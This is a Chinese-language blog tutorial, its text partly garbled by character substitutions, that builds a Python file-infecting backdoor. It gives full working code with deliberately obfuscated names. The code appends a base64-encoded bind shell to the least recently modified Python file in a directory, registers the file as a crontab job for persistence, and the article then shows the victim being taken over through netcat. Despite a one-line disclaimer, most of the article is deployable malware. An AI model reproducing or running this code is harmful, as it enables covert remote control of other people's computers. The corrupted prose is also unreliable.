明天的文章来展现一个 Python“病毒”,它应用后门代码感化其余 Python 文件。利用 Python 的内置 socket 模块来创立一个监听器,用来连贯到 Python 的内置子过程模块,从而靶机上执行命令,同时还通过创立一个 cronjob 来建设持久性,以在每天固定的工夫运行恶意软件。最终的 Python 脚本蕴含在本文开端。留神:请不要将本文中提供的 Python 脚本用于歹意目标。尽管它不先进,但通过一些批改,它能够让齐全管制某人的计算机。本文的次要目标是通过这些脚本,更好地理解黑客如何获取失常程序并使它们成为恶意程序。
话不多说,让咱们开始吧。
1、建设通信
任何后门最重要的局部都是建设通信。当初,让咱们为后门拜访创立服务器,要通过 TCP 连贯连贯到靶机,咱们须要应用套接字模块模仿侦听服务器。在 socket 模块中,有一个函数也称为 socket,咱们能够应用它来创立 TCP 或 UDP 套接字。应用 socket.socket 函数创立套接字时,咱们须要提供两个参数来指定咱们要应用的 IP 版本和第 4 层协定。在这个 Python 脚本中,咱们将传入以下参数:socket.AF_INET 和 socket.SOCK_STREAM。
- AF_INET : 指定 IPv4
- SOCK_STREAM:指定 TCP 而不是 UDP。
- socket.socket 函数返回一个对象,该对象由最终确定正在创立的套接字是侦听套接字(服务器)还是连贯套接字(客户端)的办法组成。要创立侦听套接字,须要应用以下办法:
- bind > 将 IP 地址和端口绑定到网络接口
- listen > 批示咱们的套接字开始监听传入的连贯
- accept > 承受传入连贯
- recv > 从连贯的客户端接收数据
- send > 向连贯的客户端发送数据
然而,最重要的办法是 recv 和 send。recv 办法会接管来自攻击者的命令,应用 subproces.run 函数在受害者的零碎上执行它们,而后将执行命令的规范输入重定向到与攻击者建设的 TCP 连贯。上面是 Python 代码:
from socket import socket, AF_INET, SOCK_STREAM
from subprocess import run, PIPE
from os import _exit
def serve():
with socket(AF_INET, SOCK_STREAM) as soc:
# [*] The obfuscated values are just the IP address and port to bind to
soc.bind((ip, 端口))
soc.listen(5)
while True:
conn, _ = soc.accept()
while True:
cmd = conn.recv(1024).decode("utf-8").strip()
cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)
if cmd_output.returncode == 0:
conn.send(bytes(cmd_output.stdout))
else:
continue
serve()
2、感化指标 Python 文件
这段程序通过遍历指定目录(最好是用户的主目录)并查找批改工夫最早的 Python 脚本。这里是测试,因而不是感化所有 Python 文件,而仅感化批改工夫最早的文件。感化一个 Python 文件对于管制靶机来说曾经够了。
def MTRkYmNubWx(self):
YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
continue
eHhtbG1vZGF0 = stat(f).st_mtime
ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
if not self.Z2hhenh4ZGwK:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
上述代码的局部变量应用了混同,让人不易看懂,其实很简略,就是应用 os 模块中定义的 walk 和 stat 函数来遍历目录文件并获取它们的批改工夫。取得的每个文件的批改工夫被转换为 datetime.datetime 对象,以便咱们能够应用 > < 和 == 等运算符轻松比拟日期。在这个函数的最初,选定的指标 Python 文件名被传递到将后门服务器代码注入其中的函数。
3、通过 crontab 工作来长久化
这个 Python 后门的最初一个函数应用 subprocess.run 函数来调用一个 Linux shell 命令,该命令将在以后用户的 crontab 文件中创立一个条目。此条目指定打算的 cronjob 应在每天 14:00 定时运行。增加 crontab 对应的 shell 命令如下:
echo '00 14 * * * file_name | crontab -
而后咱们让 Python 把上一步感化的文件增加到 crontab 中:
def YWZhdGhjCg(self):
if self.bGpqZ2hjen == "Linux":
run(f"echo'00 14 * * * {self.Z2hhenh4ZGwK[0]}'| crontab -", shell=True)
4、最终的残缺代码
#!/usr/bin/env python3
from os.path import expanduser
from os import walk, stat
from sys import path
from glob import glob
from platform import system
from base64 import b64encode, b64decode
from subprocess import run, PIPE
from datetime import datetime
class eHhjemR5eXB:
def __init__(self, cHlkYWNhZWFpa):
self.cHlkYWNhZWFpa = cHlkYWNhZWFpa
self.bGpqZ2hjen = system()
self.aWFmYXRye = "0.0.0.0"
self.ZmFsa2p0aGM = 0x401
self.Z2hhenh4ZGwK = None
def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC):
YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM"
YWxmanRob += b"\nfrom subprocess import run, PIPE"
YWxmanRob += b"\ndef serve():"
YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:"
YWxmanRob += bytes(f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))', "utf-8"
)
YWxmanRob += b"\n\t\tsoc.listen(5)"
YWxmanRob += b"\n\t\twhile True:"
YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()"
YWxmanRob += b"\n\t\t\twhile True:"
YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()'
YWxmanRob += (b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)"
)
YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:"
YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"
YWxmanRob += b"\n\t\t\t\telse: continue"
YWxmanRob += b"\nserve()"
YWxmanRob_base64 = b64encode(YWxmanRob)
cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n"
cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;'
cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format(YWxmanRob_base64.decode()
)
with open(dGR6eGFteXBxC, "a") as f:
f.write(cXBxZXJjYQ)
self.ZmFsa2p0aGM += 1
def MTRkYmNubWx(self):
YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
continue
eHhtbG1vZGF0 = stat(f).st_mtime
ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
if not self.Z2hhenh4ZGwK:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
def YWZhdGhjCg(self):
if self.bGpqZ2hjen == "Linux":
run(f"echo'37 13 * * * {self.Z2hhenh4ZGwK[0]}'| crontab -", shell=True)
if __name__ == "__main__":
# For traversing the user's home directory
# aGdsZGFx = expanduser('~')
# YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx)
YmNjLGFka2x = eHhjemR5eXB("./test")
YmNjLGFka2x.MTRkYmNubWx()
YmNjLGFka2x.YWZhdGhjCg()
在靶机执行该代码后,会感化 ./test 目录中最近批改的文件(指标文件),会主动在指标文件的最初增加这两行代码:
from subprocess import run
run("""python3 -c"from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG
这样指标文件就变成了木马,会监听 0x401 端口,即 1025 端口。
是不是十分荫蔽?
5、拜访后门
为了测试,咱们手动执行下感化的文件,而不是期待 crontab。
~ # crontab -l
37 13 * * * /root/transferfile/transfile_interface.py
~ # cd transferfile/
~/transferfile # python transfile_interface.py
~/transferfile #
程序失常完结,没有任何异样。而后应用 nc localhost 1025
来反弹一个 shell,在这里执行 ls,whoami 就是靶机的信息了:
这里演示的 localhost 即为靶机,实在场景下就是靶机的 ip 地址。当初靶机曾经齐全被管制了,而受害者齐全不知情。
最初的话
当初,你曾经学习了如何应用 Python 编程语言创立持久性后门,学习了如何应用 Python 的 socket 模块、如何遍历目录以及如何创立 crontab 条目。如果真正的要感化他人,还要学会如何散发这个后门程序,这里不做探讨。如果有播种,还请点个赞,感激浏览。